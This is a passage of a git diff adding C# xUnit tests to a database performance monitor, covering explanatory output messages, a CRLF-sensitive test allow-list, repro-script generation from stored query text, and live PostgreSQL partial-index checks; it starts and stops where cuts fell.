+    public void OneGroupSeenByTwoServers_ReadsOneGroup_AndSaysWhatTheCardsAre()
+    {
+        using var doc = JsonDocument.Parse(Scenario("ag"));
+        Assert.Equal(new[] { "Group", "Reporting servers", "Views" }, Strings(doc.RootElement.GetProperty("labels")));
+        Assert.Contains(Strings(doc.RootElement.GetProperty("notes")), n => n.StartsWith("Each card below is one reporting server's view of a group", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void OneViewPerGroup_KeepsThePluralAndNeedsNoCardNote()
+    {
+        using var doc = JsonDocument.Parse(Scenario("agOnePerGroup"));
+        Assert.Equal(new[] { "Groups", "Reporting servers", "Views" }, Strings(doc.RootElement.GetProperty("labels")));
+        Assert.DoesNotContain(Strings(doc.RootElement.GetProperty("notes")), n => n.StartsWith("Each card below", StringComparison.Ordinal));
+    }
+
+    private const string KcachePrecondition =
+        "The pg_kernel_stats collector is running against example-pg-01 but the PostgreSQL extension it reads is not installed there: " +
+        "its last run was recorded as a named non-fatal skip, so the per-query OS CPU is not being stored. This is a runtime PRECONDITION, " +
+        "not a permanent engine capability gap and not a collection outage: it can be satisfied on the monitored server.";
+
+    private const string EngineGate =
+        "example-pg-01 runs PostgreSQL, so the sql_server_only collector does not run on it. This is a permanent engine capability gap, " +
+        "not a collection outage: checking collection health, enabling a collector or starting a capture cannot change it.";
+
+    [Fact]
+    public void APreconditionSentence_IsNotTurnedIntoTheDoesNotApplyLine()
+    {
+        using var doc = JsonDocument.Parse(Scenario("plain", new[] { KcachePrecondition, EngineGate }));
+        var output = Strings(doc.RootElement.GetProperty("out"));
+        var line = doc.RootElement.GetProperty("line").GetString()!;
+        Assert.NotEqual(line, output[0]);
+        Assert.Contains("extension it reads is not installed there", output[0], StringComparison.Ordinal);
+        Assert.Equal(line, output[1]);
+    }
+
+    [Fact]
+    public void TheAnsweredRankingsEmptyAnswer_DropsTheParameterName()
+    {
+        var message =
+            "answered_only excluded every row: example-pg-01 has 3 candidate btree index(es) in this window and NOT ONE of them has a trusted bloat answer. " +
+            "This is not a clean bill of health and it is not an empty server - the suppression breakdown below says why each index has no answer and which reasons are remediable. " +
+            "Re-run without answered_only to see the rows and their reasons. Coverage sentence.";
+        using var doc = JsonDocument.Parse(Scenario("plain", new[] { message }));
+        var o = Strings(doc.RootElement.GetProperty("out"))[0];
+        Assert.DoesNotContain("answered_only", o, StringComparison.Ordinal);
+        Assert.StartsWith("Nothing to rank: example-pg-01 has 3 candidate btree index(es)", o, StringComparison.Ordinal);
+        Assert.Contains("the Index Bloat table above says why each index has no answer.", o, StringComparison.Ordinal);
+        Assert.DoesNotContain("breakdown below", o, StringComparison.Ordinal);
+        Assert.EndsWith("Coverage sentence.", o, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheKcachePanel_NamesTheMissingExtensionInPlainWords()
+    {
+        var tabs = System.IO.File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        var panels = System.IO.File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js"));
+        Assert.Contains("pg_stat_kcache is not installed on this server", tabs, StringComparison.Ordinal);
+        Assert.Contains("res.status === \"precondition\" && desc.extensionMissingLine", panels, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePostgreSqlEmptyAnswers_NoLongerSayTheStoreCannotClassifyTheServer()
+    {
+        foreach (var file in new[] { "DarlingMcpPgWraparoundTools.cs", "DarlingMcpPgStatementTools.cs", "DarlingMcpPgWaitTools.cs" })
+        {
+            var text = System.IO.File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file));
+            Assert.DoesNotContain("cannot classify", text, StringComparison.Ordinal);
+            // the sentence is spread over concatenated literals; join them before looking for it
+            var joined = System.Text.RegularExpressions.Regex.Replace(text, "\"\\s*\\+\\s*\"", "");
+            Assert.Contains("offline, nothing is being collected", joined, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheReproScriptsGeneratedLine_IsUtcAndSaysSo()
+    {
+        var before = DateTime.UtcNow.AddSeconds(-2);
+        var script = ReproScriptBuilder.BuildReproScript("SELECT 1", "master", planXml: null, isolationLevel: null);
+        var line = script.Split('\n').Select(l => l.TrimEnd('\r')).First(l => l.StartsWith("Generated: ", StringComparison.Ordinal));
+        Assert.EndsWith(" UTC", line, StringComparison.Ordinal);
+        var stamp = DateTime.ParseExact(line["Generated: ".Length..^" UTC".Length], "yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture);
+        Assert.InRange(stamp, before, DateTime.UtcNow.AddSeconds(2));
+    }
+}
diff --git a/Darling/Darling.Tests/RemoteCollectorServiceCancellationCensusTests.cs b/Darling/Darling.Tests/RemoteCollectorServiceCancellationCensusTests.cs
index 3839fab6b7..385d927633 100644
--- a/Darling/Darling.Tests/RemoteCollectorServiceCancellationCensusTests.cs
+++ b/Darling/Darling.Tests/RemoteCollectorServiceCancellationCensusTests.cs
@@ -20,6 +20,8 @@ namespace Darling.Tests;
 /// <c>Lite.Tests</c> (which cannot run in-process on macOS; discovery dies on <c>WindowsBase</c>) because
 /// reading source text needs nothing Windows-only. This runs on macOS and in CI alike.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class RemoteCollectorServiceCancellationCensusTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/RepoFileAdoptionTests.cs b/Darling/Darling.Tests/RepoFileAdoptionTests.cs
index aee5d863de..60d9e45818 100644
--- a/Darling/Darling.Tests/RepoFileAdoptionTests.cs
+++ b/Darling/Darling.Tests/RepoFileAdoptionTests.cs
@@ -71,6 +71,7 @@ namespace Darling.Tests;
 /// without a reader on top of it. That is the same duplication one layer down, it is a larger population
 /// than this one was, and it is deliberately not in scope.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class RepoFileAdoptionTests
 {
     private const string Authority = "RepoFile.cs";
@@ -127,14 +128,27 @@ not tripped by the file's own prose comment saying "never innerHTML". */
            chart counts are told apart from the constant's prose and the function from its callers. */
         "ChartIntegerTicksPinTests.cs",
         "ChartWindowDomainTests.cs",
+        /* #4605: its wiring pins read the endpoint source with comments stripped and whitespace collapsed, so a call 
+           that wraps across lines compares as one spelling. */
+        "ComposeClientTimeoutAttributionTests.cs",
         /* #4887: its StoredEventCopies census takes each helper's table from that class's own source, on an anchor
            that runs from the helper's `=>` across the line break to the `Read("v_` on the next line. */
         "ConsumedTimestampFrameDisciplineTests.cs",
+        /* #5288: its host-source pins slice TryStartServerAsync and the release methods out of
+           DarlingMcpHostService.cs and anchor on the line break and indent that close a block (the
+           `if (networkMode)` gate), which a CRLF checkout spells differently. */
+        "DarlingMcpHostTests.cs",
         "DarlingPathFilterGateTests.cs",
         /* #3653 (A8e, PostgreSQL host): its per-arm fire-site pin anchors `Severity: null,` on the line break
            that follows it, so the CODE spelling is told apart from the same words inside the arms' own
            comments, which continue on the same line. */
         "DarlingPgOperationalAlertTests.cs",
+        /* #5627: its pins slice the workflow's `on:` and `jobs:` blocks and the nightly's job body by line break and
+           indent, which a CRLF checkout spells differently. */
+        "DarlingUpgradeShapesWorkflowTests.cs",
+        "FinOpsPageShellTests.cs",
+        "FinOpsTabLockingPageTests.cs",
+        "FinOpsTabUtilizationRawPageTests.cs",
         "FleetCardCollectionStaleNamesItsPopulationTests.cs",
         /* #3735: its source pin anchors the collection-health statement's tail across three line breaks
            (`FROM v_collection_log` / `WHERE` / `AND` / `GROUP BY`) and the CreateCommand line on the
@@ -145,6 +159,9 @@ chart counts are told apart from the constant's prose and the function from its
            CreateCommand-plus-CommandTimeout shape, and the statement's own WHERE/AND tail) — the same
            reasoning as the fleet twin above, which is the file this one was written beside. */
         "PerServerCollectionHealthMemoTests.cs",
+        /* #5366: its Linux-build-job pin slices the `darling-linux:` job out of the workflow starting at a line break
+           (`\n  darling-linux:`), so the text must be LF whatever the checkout's line endings. */
+        "PasswordKeySelfCheckTests.cs",
         "FleetPageAttentionFilterTests.cs",
         /* Its every-site pins match each `new AlertMuteContext { ... };` initializer across its line breaks in
            AlertEngine.cs and the Darling producers, and assert each one sets ServerId. */
@@ -157,8 +174,18 @@ chart counts are told apart from the constant's prose and the function from its
         /* #3653 item 12 (Q6): its cross-SKU pin slices the multi-line `keyed` CTE out of the Darling provider's
            SOURCE (from `keyed AS (` to `FROM clean` + `)` on the next line) and asserts Lite's source carries the
            identical text; the clock-read twin pin likewise compares a multi-line const body one token apart. */
+        /* #4961: its no-drop pin looks for a statement block that runs across a line break in DarlingXeSessions.cs. */
+        "AlwaysOnXeSessionsTests.cs",
+        /* #5459: it cuts build.yml into jobs, steps and arms on the line breaks between them. */
+        "GuardStageWorkflowTests.cs",
         "LocalClockBucketKeyTests.cs",
         "LockedModeRestoreCoverageTests.cs",
+        /* Its always-on guard pin slices EnsureDatabaseScopedAsync's body up to the method's closing brace, on an
+           anchor that runs from the line break before that brace to the line break after it. */
+        "LongQueryTraceLifecycleTests.cs",
+        /* #4961: its pin slices RunOneAsync's body up to the method's closing brace, on an anchor that starts at the line
+           break before that brace. */
+        "LongQueryTraceRestartTests.cs",
         /* #3541 A10: its top-level-key discriminator anchors on the line break BEFORE the key (a per-row
            collection_time inside a Select is indented deeper and must not match), and its tool-body slicing
            keys on attribute text either side of one. */
@@ -195,10 +222,19 @@ loader call on the NEXT line — anchors that a CRLF read would miss on every ar
         /* #4427: its wiring pins slice RunPurgeNowBackgroundAsync's body by brace balance and matches calls that span line breaks. */
         "RawPurgeNowWiringTests.cs",
         "RawWindowFloorViewerPortTests.cs",
+        /* #5452: its worker pin anchors the general catch arm on the line break and indent that follow `catch (Exception ex)`,
+           so the role arm is proven to come before it. */
+        "RdsAssumeRoleSeamTests.cs",
         /* #3653 item 3: its twin pin extracts the multi-line GetPriorOccurrencesSql const body from BOTH finding
            stores' sources and asserts them equal up to one token, and its wiring pin slices each pass method by
            call sites that sit on their own lines — anchors spanning line breaks on every arm. */
         "RecurrenceLabelStoreReadTests.cs",
+        /* #5320: its gate pins split build.yml into steps by line and anchor the gate step's PowerShell check (the
+           Tee-Object line through the Select-String line that reads the same log) across the lines between them. */
+        "ReleaseStatementGateWorkflowTests.cs",
+        /* #5374: its start pin slices the provisioning chain of DarlingWorker.cs, comments removed, and matches the rules call
+           inside each branch of it, across line breaks. */
+        "SelfManagedStoreRulesStartPinTests.cs",
         /* Its heading pin slices fillServerHead's body out of server.js, from its declaration to the closing brace
            on its own line, and asserts the display-name assignment sits inside it and ahead of the dot update. */
         "ServerPageTitlePinTests.cs",
@@ -212,9 +248,19 @@ call sites that sit on their own lines — anchors spanning line breaks on every
            and the pre-dispatch `if (…LongQueryTraceFault is { } traceFault) { throw … }` in RunOneAsync - so
            the CODE shape is told apart from the same words inside the comments beside it. */
         "SwallowedItemFailureTests.cs",
+        "TuningHourlyCreateLiveTests.cs",
         "ViewTemplatesTests.cs",
         "ViewerFinOpsPickerRefreshPinTests.cs",
         "ViewerSidebarDotRendersTheCardStatusTests.cs",
+        /* #5586: its compose.js pin slices each renderer call up to the `break;` that ends its switch case, and its halo pin
+           splits app.css on line breaks to take the `.chart .bar-value` rule as one line. */
+        "WebChartWidthBehaviourTests.cs",
+        /* #5245: pins that the filtered reads' catalog rows, dispatch entries and FILTERED list agree, over
+           DarlingWebEndpoints.cs and the js tree. */
+        "WebDatabaseFilterReadsTests.cs",
+        /* #4961: its RunOneAsync pin takes the body from the method's declaration to the closing brace on its own line
+           (`\n    }\n`), which only matches once the line endings are one spelling. */
+        "XeSessionMissingWarningTests.cs",
     };
 
     /// <summary>
diff --git a/Darling/Darling.Tests/RepoFileResolutionEquivalenceTests.cs b/Darling/Darling.Tests/RepoFileResolutionEquivalenceTests.cs
index 723460b066..ccf2c16004 100644
--- a/Darling/Darling.Tests/RepoFileResolutionEquivalenceTests.cs
+++ b/Darling/Darling.Tests/RepoFileResolutionEquivalenceTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// <see cref="EveryAdoptingPin_IsASiblingOfTheSharedReader"/> asserts that, and a pin moved into a
 /// subdirectory reds there rather than silently resolving from a different starting point.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class RepoFileResolutionEquivalenceTests
 {
     /// <summary>A call site that really exists, paired with the resolver that used to serve it.</summary>
diff --git a/Darling/Darling.Tests/ReproScriptLivePostgresTests.cs b/Darling/Darling.Tests/ReproScriptLivePostgresTests.cs
new file mode 100644
index 0000000000..289896157d
--- /dev/null
+++ b/Darling/Darling.Tests/ReproScriptLivePostgresTests.cs
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5233: get_query_repro_script builds each kind's script from STORED text and plan, and nothing else. Seeded through
+/// the inline <c>query_plan_text</c> column for Query Store (the plan map read arrives separately), the inline
+/// <c>query_text</c> on query_stats and query_store_stats, a <c>collect.query_store_text</c> row for the precedence
+/// check, and a query_snapshots row with an isolation level. Fixed anchors only.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ReproScriptLivePostgresTests
+{
+    private const string ServerName = "darling-repro-script-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string Db = "ReproDb";
+    private const string StatsHash = "0xA0B1C2D3E4F50617";
+
+    private static readonly DateTime Anchor = new DateTime(2026, 3, 4, 5, 6, 7, DateTimeKind.Unspecified).AddTicks(1_234_560);
+
+    private static string PlanXml(string marker) =>
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.539\">" +
+        $"<BatchSequence><Batch><Statements><StmtSimple StatementText=\"SELECT '{marker}'\" StatementId=\"1\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static JsonElement Parse(string json, out JsonDocument doc)
+    {
+        doc = JsonDocument.Parse(json);
+        return doc.RootElement;
+    }
+
+    [Fact]
+    public async Task EachKind_BuildsAScriptFromStoredText_AndAWrongKeyIsUnavailable()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live repro-script test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            await ExecAsync(connection, ct,
+                "INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_text, query_plan_xml) " +
+                "VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+                CollectionIdGenerator.Next(), Anchor, ServerId, ServerName, Db, StatsHash, "SELECT 'stats-text';", PlanXml("stats"));
+
+            /* Query Store 4242: collector text AND an older inline text, with a plan. 4243: inline text only, no plan. */
+            await ExecAsync(connection, ct,
+                "INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_text, query_plan_text) " +
+                "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)",
+                CollectionIdGenerator.Next(), Anchor, ServerId, ServerName, Db, 4242L, 7L, "SELECT 'inline-text';", PlanXml("query-store"));
+            await ExecAsync(connection, ct,
+                "INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_text) " +
+                "VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+                CollectionIdGenerator.Next(), Anchor, ServerId, ServerName, Db, 4243L, 8L, "SELECT 'no-plan-text';");
+            await ExecAsync(connection, ct,
+                "INSERT INTO collect.query_store_text (server_id, database_name, query_id, query_sql_text, last_seen) VALUES ($1, $2, $3, $4, $5)",
+                ServerId, Db, 4242L, "SELECT 'collector-text';", Anchor);
+
+            await ExecAsync(connection, ct,
+                "INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, request_id, database_name, query_text, transaction_isolation_level, query_plan) " +
+                "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)",
+                CollectionIdGenerator.Next(), Anchor, ServerId, ServerName, 51, 3, Db, "SELECT 'snapshot-text';", "SERIALIZABLE", PlanXml("snapshot"));
+
+            /* ---- query_hash */
+            var root = Parse(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "query_hash", ServerName, query_hash: StatsHash, cancellationToken: ct), out var d1);
+            using (d1)
+            {
+                Assert.True(root.GetProperty("plan_found").GetBoolean());
+                Assert.Contains("SELECT 'stats-text';", root.GetProperty("script").GetString(), StringComparison.Ordinal);
+            }
+
+            /* ---- query_store: the collector's text wins over the inline text. */
+            root = Parse(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "query_store", ServerName, Db, query_id: 4242, plan_id: 7, cancellationToken: ct), out var d2);
+            using (d2)
+            {
+                var script = root.GetProperty("script").GetString()!;
+                Assert.True(root.GetProperty("plan_found").GetBoolean());
+                Assert.Contains("SELECT 'collector-text';", script, StringComparison.Ordinal);
+                Assert.DoesNotContain("inline-text", script, StringComparison.Ordinal);
+            }
+
+            /* ---- query_store: text but no plan builds a script with plan_found false. */
+            root = Parse(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "query_store", ServerName, Db, query_id: 4243, cancellationToken: ct), out var d3);
+            using (d3)
+            {
+                Assert.False(root.GetProperty("plan_found").GetBoolean());
+                Assert.Contains("SELECT 'no-plan-text';", root.GetProperty("script").GetString(), StringComparison.Ordinal);
+            }
+
+            /* ---- active_snapshot: the collection_time the grid hands back, with the stored isolation level. */
+            var key = Anchor.ToString("o", CultureInfo.InvariantCulture);
+            root = Parse(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "active_snapshot", ServerName, collection_time: key, session_id: 51, request_id: 3, cancellationToken: ct), out var d4);
+            using (d4)
+            {
+                var script = root.GetProperty("script").GetString()!;
+                Assert.True(root.GetProperty("plan_found").GetBoolean());
+                Assert.Contains("SELECT 'snapshot-text';", script, StringComparison.Ordinal);
+                Assert.Contains("SET TRANSACTION ISOLATION LEVEL", script, StringComparison.Ordinal);
+            }
+
+            /* ---- wrong keys are unavailable, never an empty script. */
+            await AssertUnavailableAsync(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "query_hash", ServerName, query_hash: "0xDEADBEEF", cancellationToken: ct));
+            await AssertUnavailableAsync(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "query_store", ServerName, Db, query_id: 9999, cancellationToken: ct));
+            await AssertUnavailableAsync(await DarlingMcpPlanTools.GetQueryReproScript(postgres, "active_snapshot", ServerName, collection_time: key, session_id: 999, request_id: 3, cancellationToken: ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static Task AssertUnavailableAsync(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        Assert.Equal("unavailable", doc.RootElement.GetProperty("status").GetString());
+        return Task.CompletedTask;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, CancellationToken ct, string sql, params object[] values)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var v in values)
+            command.Parameters.AddWithValue(v is DateTime t ? DateTime.SpecifyKind(t, DateTimeKind.Unspecified) : v);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static Task RegisterServerAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ExecAsync(connection, ct,
+            @"INSERT INTO servers (server_id, server_name, display_name, is_enabled, created_date, modified_date)
+              VALUES ($1, $2, $3, TRUE, $4, $4)
+              ON CONFLICT (server_id) DO UPDATE SET server_name = EXCLUDED.server_name, display_name = EXCLUDED.display_name,
+                  is_enabled = TRUE, modified_date = EXCLUDED.modified_date;",
+            ServerId, ServerName, ServerName, Anchor);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM collect.query_store_text WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/RestartRowIndexLiveTests.cs b/Darling/Darling.Tests/RestartRowIndexLiveTests.cs
new file mode 100644
index 0000000000..0f398e11fe
--- /dev/null
+++ b/Darling/Darling.Tests/RestartRowIndexLiveTests.cs
@@ -0,0 +1,274 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: the restart-row partial indexes on <c>collect.query_stats</c> and <c>collect.procedure_stats</c>
+/// (<see cref="PgTableTuning.QueryStatsRestartRowIndexName"/>, <see cref="PgTableTuning.ProcedureStatsRestartRowIndexName"/>)
+/// exist after the start-path tuning pass, hold only the restart rows, are read by
+/// <see cref="IntervalRollupRestartRows"/> on an uncompressed chunk, and the pass is idempotent. Own scratch
+/// database per test.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres. */
+public sealed class RestartRowIndexLiveTests
+{
+    private const int RestartEvery = 500;
+    private const int RowsPerTable = 5000;
+
+    [Fact]
+    public async Task BothIndexes_ExistWithThePartialPredicate_AndTheSetupIsIdempotent()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the restart-row index live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        await TuningStartPasses.ConvergeAsync(connection, ct);
+
+        await AssertIndexAsync(connection, PgTableTuning.QueryStatsRestartRowIndexName, "collect.query_stats", ct);
+        await AssertIndexAsync(connection, PgTableTuning.ProcedureStatsRestartRowIndexName, "collect.procedure_stats", ct);
+
+        var oidsBefore = await IndexOidsAsync(connection, ct);
+        var second = await PgTableTuning.ApplyAsync(connection, NullLogger.Instance, ct);
+        Assert.True(second > 0, "the second pass should run");
+        Assert.Equal(oidsBefore, await IndexOidsAsync(connection, ct));
+        Assert.Equal(2, oidsBefore.Count);
+    }
+
+    [Fact]
+    public async Task EachReader_PlansOnItsPartialIndex_OnAnUncompressedChunk_AndReturnsExactlyTheRestartRows()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the restart-row index live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct);
+        Assert.SkipUnless(timescaleEnabled, "TimescaleDB is not available; the chunk-level plan needs a hypertable.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await Exec(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+
+        /* A fixed anchor, 23:50 UTC on a fixed past day, not the wall clock. The seed reaches back 5,000 seconds
+           from this instant, and chunks are one day aligned to UTC midnight, so a seed ending at the real "now"
+           straddles two daily chunks between 00:00 and about 01:23 UTC. On either chunk a Seq Scan can then
+           cost less than the partial index, and the no-heap-scan assertion fails. Ending at 23:50 keeps the
+           whole seed inside one day. */
+        var utcNow = new DateTime(2026, 1, 15, 23, 50, 0, DateTimeKind.Unspecified);
+        var windowStart = utcNow.AddHours(-2);
+
+        await SeedAsync(connection, "collect.query_stats", utcNow, ct);
+        await SeedAsync(connection, "collect.procedure_stats", utcNow, ct);
+
+        /* The whole seed must sit in one daily chunk: no row may fall before the anchor's date, and the
+           chunk must hold a realistic number of rows. */
+        foreach (var table in new[] { "collect.query_stats", "collect.procedure_stats" })
+        {
+            await using var older = new NpgsqlCommand("SELECT count(*) FROM " + table + " WHERE collection_time < $1", connection);
+            older.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = utcNow.Date });
+            var olderRows = Convert.ToInt64(await older.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+            Assert.True(olderRows == 0, table + " has " + olderRows + " seeded rows before " + utcNow.Date.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture) + "; the seed must sit inside one daily chunk");
+
+            await using var newest = new NpgsqlCommand("SELECT count(*) FROM " + table + " WHERE collection_time >= $1", connection);
+            newest.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = utcNow.Date });
+            var newestRows = Convert.ToInt64(await newest.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+            Assert.True(newestRows >= 1000, table + " holds only " + newestRows + " seeded rows; the seed must be a realistic day");
+        }
+
+        await TuningStartPasses.ConvergeAsync(connection, ct);
+        await Exec(connection, "ANALYZE collect.query_stats", ct);
+        await Exec(connection, "ANALYZE collect.procedure_stats", ct);
+
+        var expected = RowsPerTable / RestartEvery;
+        await AssertReaderAsync(connection, IntervalRollupRestartRows.QueryStatsRestartRowsSql, PgTableTuning.QueryStatsRestartRowIndexName, windowStart, utcNow, expected, ct);
+        await AssertReaderAsync(connection, IntervalRollupRestartRows.ProcedureStatsRestartRowsSql, PgTableTuning.ProcedureStatsRestartRowIndexName, windowStart, utcNow, expected, ct);
+
+        /* The end is exclusive: a window ending at the newest restart row's own time drops it. */
+        var newestRestart = await ScalarAsync(connection, "SELECT max(collection_time) FROM collect.query_stats WHERE sample_interval_seconds = 0", ct);
+        var clipped = await RunAsync(connection, IntervalRollupRestartRows.QueryStatsRestartRowsSql, windowStart, (DateTime)newestRestart!, ct);
+        Assert.Equal(expected - 1, clipped);
+    }
+
+    [Fact]
+    public void TheRestartRowReads_CarryPresenceOnly_NoWorkerTimeColumn()
+    {
+        foreach (var sql in new[] { IntervalRollupRestartRows.QueryStatsRestartRowsSql, IntervalRollupRestartRows.ProcedureStatsRestartRowsSql })
+        {
+            Assert.DoesNotContain("delta_worker_time", sql, StringComparison.Ordinal);
+            Assert.Contains("r.collection_time, r.sample_interval_seconds", sql, StringComparison.Ordinal);
+        }
+    }
+
+    private static async Task AssertIndexAsync(NpgsqlConnection connection, string name, string table, CancellationToken ct)
+    {
+        await using var def = new NpgsqlCommand(
+            "SELECT i.indisvalid, pg_get_indexdef(i.indexrelid) FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid "
+            + "JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relname = $1", connection);
+        def.Parameters.AddWithValue(name);
+        await using var reader = await def.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct), "the start path should have built " + name);
+        Assert.True(reader.GetBoolean(0), name + " should be valid");
+        var text = reader.GetString(1);
+        Assert.Contains("ON " + table, text, StringComparison.Ordinal);
+        Assert.Contains("(collection_time)", text, StringComparison.Ordinal);
+        Assert.Contains("WHERE (sample_interval_seconds = 0)", text, StringComparison.Ordinal);
+    }
+
+    private static async Task<List<uint>> IndexOidsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var oids = new List<uint>();
+        await using var cmd = new NpgsqlCommand(
+            "SELECT c.oid::oid FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace "
+            + "WHERE n.nspname = 'collect' AND c.relname IN ($1, $2) ORDER BY c.relname", connection);
+        cmd.Parameters.AddWithValue(PgTableTuning.QueryStatsRestartRowIndexName);
+        cmd.Parameters.AddWithValue(PgTableTuning.ProcedureStatsRestartRowIndexName);
+        await using var reader = await cmd.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            oids.Add(reader.GetFieldValue<uint>(0));
+        }
+
+        return oids;
+    }
+
+    /// <summary>
+    /// Mostly normal rows (sample_interval_seconds 60) with every 500th a restart row, all inside the last two
+    /// hours, so they land in the newest chunk, which stays uncompressed.
+    /// </summary>
